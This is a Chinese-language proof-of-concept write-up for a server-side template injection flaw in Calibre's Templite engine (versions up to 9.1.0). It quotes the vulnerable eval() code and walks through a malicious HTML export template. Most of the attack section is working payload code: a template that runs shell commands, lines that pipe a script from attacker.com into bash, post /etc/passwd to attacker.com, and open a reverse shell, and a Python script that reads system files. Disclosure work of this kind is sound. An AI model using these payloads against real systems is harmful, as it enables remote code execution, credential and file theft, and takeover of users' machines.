
针对 Calibre 的 Templite 引擎中服务器端模板注入(SSTI)漏洞(GHSA-xrh9-w7qx-3gcc)的概念验证。演示了在受影响版本(≤ 9.1.0)中,通过用户提供的 HTML 导出模板执行任意 Python 代码。
严重性: 高危(CVSS 7.8)
受影响软件: calibre <= 9.1.0
修复版本: 9.2.0
安全公告: GHSA-xrh9-w7qx-3gcc
Calibre 的 Templite 模板引擎中存在一个服务端模板注入(SSTI)漏洞,当用户通过 --template-html 或 --template-html-index 命令行选项使用恶意自定义模板文件转换电子书时,该漏洞允许任意代码执行。
Templite 引擎(src/templite/__init__.py)使用 Python 的 compile() 和 eval() 函数编译并执行模板,且没有任何沙箱隔离:
src/templite/__init__.py 中的漏洞代码:
# 第 72 行:模板被编译为 Python 代码
self.__code = compile('\n'.join(tokens), '<templite %r>' % template[:20], 'exec')
# 第 90 行:编译后的代码通过 eval() 执行
def render(self, __namespace=None, **kw):
# ...
eval(self.__code, namespace) # 任意代码执行
src/calibre/ebooks/conversion/plugins/html_output.py 中的攻击向量:
# 第 96-98 行:加载用户提供的模板文件
if opts.template_html_index is not None:
with open(opts.template_html_index, 'rb') as f:
template_html_index_data = f.read()
# 第 136 行:模板被传递给存在漏洞的 Templite 引擎
templite = Templite(template_html_index_data)
--template-html 选项(第 102-106 行、第 200 行)也存在相同的模式。
将以下内容保存为 malicious_template.tmpl:
<!DOCTYPE html>
<html>
<head><title>恶意模板</title></head>
<body>
<h1>电子书转换完成!</h1>
<!-- SSTI 载荷执行任意命令 -->
${emit(__import__("os").popen("id > /tmp/pwned.txt").read())}$
${emit(__import__("os").popen("whoami").read())}$
</body>
</html>
# 使用恶意模板转换任意电子书
ebook-convert input.epub output.zip --template-html=malicious_template.tmpl
cat /tmp/pwned.txt
# 输出:uid=501(username) gid=20(staff) groups=...
# 命令执行
${emit(__import__("os").popen("curl attacker.com/shell.sh | bash").read())}$
# 文件窃取
${emit(__import__("os").popen("curl -d @/etc/passwd attacker.com").read())}$
# 反弹 Shell
${emit(__import__("os").system("python3 -c 'import socket,subprocess;s=socket.socket();s.connect((\"attacker.com\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'"))}$
#!/usr/bin/env python3
import sys
sys.path.insert(0, '/path/to/calibre/src')
from templite import Templite
# 命令执行
t = Templite('${emit(__import__("os").popen("whoami").read())}$')
print("用户:", t.render()) # 打印当前用户名
# 文件读取
t = Templite('${emit(open("/etc/passwd").readline())}$')
print("文件:", t.render()) # 打印 /etc/passwd 的第一行
受影响人群:
攻击场景:
ebook-convert book.epub out.zip --template-html=template.tmpl